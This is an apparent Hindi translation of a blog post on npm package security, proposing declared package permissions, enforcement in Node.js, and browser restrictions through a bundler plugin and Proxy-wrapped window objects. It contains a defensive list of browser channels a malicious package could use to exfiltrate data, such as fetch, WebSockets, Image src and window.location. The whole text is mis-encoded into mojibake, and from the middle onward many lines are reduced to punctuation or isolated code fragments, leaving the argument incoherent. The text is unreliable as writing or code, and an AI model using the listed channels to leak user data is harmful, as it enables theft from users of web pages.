рдХреЛ рдореЗрд░реА рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рд╕реНрдерд┐рдд рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдХреЛрдИ рдХрд╛рд░рдг рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдмрд╛рд╣рд░ рдХрд┐рд╕реА рднреА рдЪреАрдЬ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рд╢рд╛рдпрдж, рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА рдХреА рд╢реБрд░реБрдЖрдд рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ
@npm/permissions
рдкреИрдХреЗрдЬ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╣реЛрдЧрд╛ред рд╢рд╛рдпрдж, рд╕рдВрдХреНрд░рдордг рдХрд╛рд▓ тАЛтАЛрдХреЗ рджреМрд░рд╛рди, рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рдЦрд░рд╛рдмреА рдХреЗ рдЙрдиреНрдореВрд▓рди рдХреЗ рджреМрд░рд╛рди, рдЗрд╕ рддрд░рд╣ рдХреЗ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдПрдХрдорд╛рддреНрд░ рдЙрдЪрд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╣реИред рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрд╕рдХрд░ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рдХреНрдпреЛрдВрдХрд┐ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп рдЗрд╕реЗ рдЦрд╛рддреЗ рдХреА рдЕрдиреБрдорддрд┐ рд▓реЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛ред
рдлрд┐рд░, рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдлреЙрд░реНрдо рдХрд╛ рдПрдХ рд╕рд░рд▓ рдХрдорд╛рдВрдб
"enforcePermissions": true
рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ
package.json
рдореЗрдВ
"enforcePermissions": true
рд╣реИред рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА
"enforcePermissions": true
рдлрд╝рд╛рдЗрд▓ рдПрдирдкреАрдПрдо рдХреЛ рдЙрдирдХреЗ рджреНрд╡рд╛рд░рд╛ рдШреЛрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЬрдмрд░рди рдЙрдкрдпреЛрдЧ рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП
"enforcePermissions": true
ред
Safe рд╡рд┐рдХрд▓реНрдк 2: рд╕реБрд░рдХреНрд╖рд┐рдд рдореЛрдб Node.js
Node.js рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рд╡рд┐рд╢реЗрд╖ рдореЛрдб, рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрдврд╝реЗ рд╣реБрдП рд╕реНрддрд░ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ, рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЕрдзрд┐рдХ рдЧрдВрднреАрд░ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рд▓реЗрдХрд┐рди рд╢рд╛рдпрдж рд▓рдВрдмреЗ рд╕рдордп рдореЗрдВ, Node.js рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕реНрд╡рдпрдВ рдкреНрд░рддреНрдпреЗрдХ рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдШреЛрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред
рдПрдХ рдУрд░, рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдЬреЛ рд▓реЛрдЧ Node.js рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рд╡реЗ рдЗрд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ npm рд╕рдВрдХреБрд▓ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдореЗрд░реЗ рд╡рд┐рдЪрд╛рд░ рдЙрдирдХреЗ рд╣рд┐рддреЛрдВ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдкрд░реЗ рд╣реИрдВред рд╕рдм рдХреЗ рдмрд╛рдж, рдЕрдВрдд рдореЗрдВ, npm рд╕рд┐рд░реНрдл рддрдХрдиреАрдХ рд╣реИ рдЬреЛ Node.js. рджреВрд╕рд░реА рдУрд░, Node.js рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЙрд░реНрдкреЛрд░реЗрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЗрд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдореЗрдВ рдЖрддреНрдорд╡рд┐рд╢реНрд╡рд╛рд╕ рдорд╣рд╕реВрд╕ рдХрд░рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛, рд╕рдВрднрд╡рддрдГ, Node.js рдХреЗ рдЙрди рдкрд╣рд▓реБрдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ "рд╕рдореБрджрд╛рдп" рдкрд░ рдирд╣реАрдВ рдЫреЛрдбрд╝рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЗрд╕рд▓рд┐рдП, рдЬрдмрдХрд┐ рд╣рдордиреЗ рдЬреЛ рдХреБрдЫ рднреА рдмрд╛рдд рдХреА рдереА, рд╡рд╣ рдмрд╣реБрдд рд╕рд░рд▓ рд▓рдЧ рд░рд╣рд╛ рдерд╛ рдФрд░ рдЗрд╕ рддрдереНрдп рд╕реЗ рдЙрдмрд▓рд╛ рд╣реБрдЖ рдерд╛ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдПрдХ рдпрд╛ рджреВрд╕рд░реЗ рддрд░реАрдХреЗ рд╕реЗ рдиреЛрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред
рдЕрдм рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдмреНрд░рд╛рдЙрдЬрд░реНрд╕ рдХреАред рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рдЗрддрдирд╛ рд╕реНрдкрд╖реНрдЯ рдФрд░ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рд╣реИред
рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕рдВрдХреБрд▓ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдмрдВрдз
рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ, рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдкреИрдХреЗрдЬ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдордЬрдмреВрд░ рдкреНрд░рддрд┐рдмрдВрдз рдФрд░ рднреА рд╕рд░рд▓ рджрд┐рдЦрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдб рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдмрд╣реБрдд рдХреБрдЫ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕ рдкрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЪрд▓рддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдЕрд╕рд╛рдорд╛рдиреНрдп рдкрддреЗ рдкрд░ рдбреЗрдЯрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрдХреЗрдЯ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪрд┐рдВрддрд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рдпрд╣рд╛рдВ рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХреЗ рдЕрдирдЧрд┐рдирдд рддрд░реАрдХреЗ рд╣реИрдВред
рдЗрд╕реЗ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯрд░реЗрд╢рди рдпрд╛ рдбреЗрдЯрд╛ рд░рд┐рд╕рд╛рд╡ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдЖрдк рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░ рд╕реЗ рдкреВрдЫрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕рд╕реЗ рдХреИрд╕реЗ рдмрдЪрд╛ рдЬрд╛рдП, рддреЛ, рд╡рд╣ рдЙрд╕ рд╡реНрдпрдХреНрддрд┐ рдХреА рдирдЬрд╝рд░ рд╕реЗ рдЬрд┐рд╕рдиреЗ рдмрд╛рд░реВрдж рдХрд╛ рдЖрд╡рд┐рд╖реНрдХрд╛рд░ рдХрд┐рдпрд╛ рдерд╛, рдЖрдкрдХреЛ npm рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдЧрд╛ред
рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдПрдХ рд╕рдВрдХрд▓реНрдк рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - рд╡рд╣ рдЬреЛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЪрд▓реЛ рдЗрд╕реЗ
network
рдХрд╣рддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ (рдЬреИрд╕реЗ рдХрд┐ рдЬреЛ DOM рдпрд╛ рд╕реНрдерд╛рдиреАрдп рд╕рдВрдЧреНрд░рд╣рдг рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ), рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рдореИрдВ рдЗрд╕ рдзрд╛рд░рдгрд╛ рд╕реЗ рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реВрдБ рдХрд┐ рд╣рдорд╛рд░реА рдореБрдЦреНрдп рдЪрд┐рдВрддрд╛ рдбреЗрдЯрд╛ рд░рд┐рд╕рд╛рд╡ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред
рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдХрдИ рддрд░реАрдХреЛрдВ рд╕реЗ "рд╣рдЯрд╛рдпрд╛" рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдВ рдореИрдВ 60 рд╕реЗрдХрдВрдб рдореЗрдВ рдпрд╛рдж рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВ:
- рдПрдкреАрдЖрдИ
fetch
ред - рд╡реЗрдм рд╕реЙрдХреЗрдЯреНрд╕
- WebRTC рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреАред
EventSource
рдХрд╛ EventSource
редXMLHttpRequest
рдПрдкреАрдЖрдИ- рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреА
innerHTML
рд╕рдВрдкрддреНрддрд┐ рд╕реЗрдЯ рдХрд░рдирд╛ (рдЖрдк рдирдП рддрддреНрд╡ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ)ред new Image()
рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдЗрдореЗрдЬ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛ new Image()
рдХрд╛ src
рдЧреБрдг рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рдзрди рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрд╡рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ)редwindow.location
, window.location
рдЗрддреНрдпрд╛рджрд┐ рдХреЛ рд╕реЗрдЯ рдХрд░рдирд╛ред- рдореМрдЬреВрджрд╛ рдЫрд╡рд┐ рдХреЗ
src
рдЧреБрдгреЛрдВ рдХреЛ рдмрджрд▓рдирд╛, iframe
рдпрд╛ рдРрд╕рд╛ рдХреБрдЫред <form>
рддрддреНрд╡ рдХреА target
рд╕рдВрдкрддреНрддрд┐ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиред- рдЙрдкрд░реЛрдХреНрдд рддрдВрддреНрд░реЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛
windows
рдмрдЬрд╛рдп top
рдпрд╛ self
рдореЗрдВ рдХреБрдЫ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЪрддреБрд░рд╛рдИ рд╕реЗ рдбрд┐рдЬрд╛рдЗрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ windows
ред
рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдПрдХ рдЕрдЪреНрдЫреА рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (рд╕реАрдПрд╕рдкреА) рдЗрди рдЦрддрд░реЛрдВ рдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрди рд╕рднреА рдкрд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЕрдЧрд░ рдХреЛрдИ рдореБрдЭреЗ рд╕рд╣реА рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдореБрдЭреЗ рдЦреБрд╢реА рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдЖрдк рдЗрд╕ рдмрд╛рдд рдкрд░ рдХрднреА рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХрд┐ рд╕реАрдПрд╕рдкреА рдЖрдкрдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд░рд┐рд╕рд╛рд╡ рд╕реЗ рдмрдЪрд╛рдПрдЧрд╛ред рдПрдХ рд╡реНрдпрдХреНрддрд┐ рдиреЗ рдПрдХ рдмрд╛рд░ рдореБрдЭреЗ рдмрддрд╛рдпрд╛ рдерд╛ рдХрд┐ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЦрддрд░реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реАрдПрд╕рдкреА рд▓рдЧрднрдЧ рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкрд░ рдореИрдВрдиреЗ рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдХрд┐ рдЖрдк рдереЛрдбрд╝реА рдЧрд░реНрднрд╡рддреА рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рддрдм рд╕реЗ рд╣рдордиреЗ рдЗрд╕ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИред
рдпрджрд┐ рдЖрдк рдмреБрджреНрдзрд┐рдорд╛рдиреА рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдбреЗрдЯрд╛ рдЪреБрд░рд╛рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдореБрдЭреЗ рдпрдХреАрди рд╣реИ рдХрд┐ рдЗрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдПрдХ рдкреВрд░реА рд╕реВрдЪреА рдмрдирд╛рдирд╛ рдХрд╛рдлреА рдпрдерд╛рд░реНрдерд╡рд╛рджреА рд╣реИред
рдЕрдм рд╣рдореЗрдВ рдРрд╕реА рд╕реВрдЪреА рд╕реЗ рдЕрд╡рд╕рд░реЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рд░реЛрдХ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
Webpack (,
@npm/permissions-webpack-plugin
), :
browser
package-permissions.json
, npm- ( - , ).- , , , API, .
(, Parcel, Rollup, Browserify ).
, , -. , , , , , .
, ( Lodash, Moment, ), . .
.
function bigFrameworkWrapper(newWindow) {
function smallUtilWrapper(newWindow) {
тАФ , . ┬л┬╗ .
const newScript = document.createElement('script'); // !
, тАФ
script
.
const bigFramework = bigFrameworkWrapper(window);
const smallUtil = smallUtilWrapper(restrictedWindow);
┬л┬╗ . , , .
const restrictedWindow = new Proxy(window, {
window
, ,
window
, ,
window.document.createElement
DOM .
Proxy
.
. , .
, , API, . , , , , , , , , , , ┬л┬╗ .
, , , - .
, , , ,
Proxy
. , 90% , . , , . , - , , , .
, , , , , Node.js .
, , HTTP , , , -. рдпрд╣ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИред
-, , , .
iframe
, .
sandbox
, , . , , , -.
, ,
sandbox
<script>
. :
<script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>
. , , , -
create-react-app
, 1.4 , .
, npm , .
, - .
, , - ┬л ...┬╗, , , ?
рдкрд░рд┐рдгрд╛рдо
, , , , . , 90% , , , 10% тАФ , .
, , - .
рдкреНрд░рд┐рдп рдкрд╛рдардХреЛрдВ! , , npm, -?
